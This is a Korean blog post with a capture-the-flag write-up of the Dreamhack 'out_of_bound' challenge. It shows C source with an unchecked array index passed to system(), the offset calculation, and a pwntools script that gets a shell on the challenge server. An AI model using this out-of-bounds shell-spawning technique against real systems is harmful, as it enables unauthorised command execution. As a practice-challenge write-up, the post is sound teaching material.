서브웨이

dreamhack out_of_bound 풀이 본문

Pwnable/dreamhack

dreamhack out_of_bound 풀이

샌드위치메이커 2021. 7. 27. 16:00

이번엔 RELRO, NX bit에 더해서 canary 까지 있는 예제입니다.

쪼끔 귀찮을것 같네요.

 

소스코드를 봅시다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

전역변수에 name 문자열과 command라는 문자열 배열이 존재합니다. 메인함수에서는 16만큼 입력을 받아서 name에 저장하고 정수 하나를 입력받아서 해당 정수를 인덱스로 갖는 command를 실행합니다.

근데 여기서 정수에 대한 범위를 지정해놓지 않았습니다.

이걸 중점으로 보면 될것같습니다.

 

일단 어셈블리코드를 봅시다.

+54부분을 보면 name은 0x804a0ac에 위치하고, +108부분을 보면 command는 0x804a060에 위치하는 것을 알 수 있습니다.

주소에서 알 수 있듯이 0x804a0ac - 0x804a060 = 0x4c이고

0x4c / 4 = 0x13 = 19 라는 것을 알 수 있습니다.

그럼 command[19]는 곧 name이라는 뜻이 됩니다.

 

자 그럼 commnad가 이중포인터였으니 name에는 "/bin/sh"와 같은 문자열의 주소를 넣으면 될 듯 합니다.

간단하게 name을 (name의 주소+4) + "/bin/sh"로 구성한다면 system("/bin/sh")를 실행하는 효과를 기대할 수 있습니다.

 

익스플로잇 코드는 다음과 같습니다.

from pwn import * 

p = remote('host1.dreamhack.games', 14279)
elf = ELF('./out_of_bound')

name = elf.symbols['name']

payload = p32(name+4)
payload += b'/bin/sh'

p.recvuntil(b'name: ')
p.send(payload)
p.recvuntil(b'want?: ')
p.sendline(b'19')

p.interactive()

 

'Pwnable > dreamhack' 카테고리의 다른 글

dreamhack sint 풀이  (0) 2021.07.27
dreamhack off_by_one_001 풀이  (0) 2021.07.27
dreamhack off_by_one_000 풀이  (0) 2021.07.27
dreamhack welcome 풀이  (0) 2021.07.20
dreamhack basic_exploitation_003 풀이  (0) 2021.07.20
Comments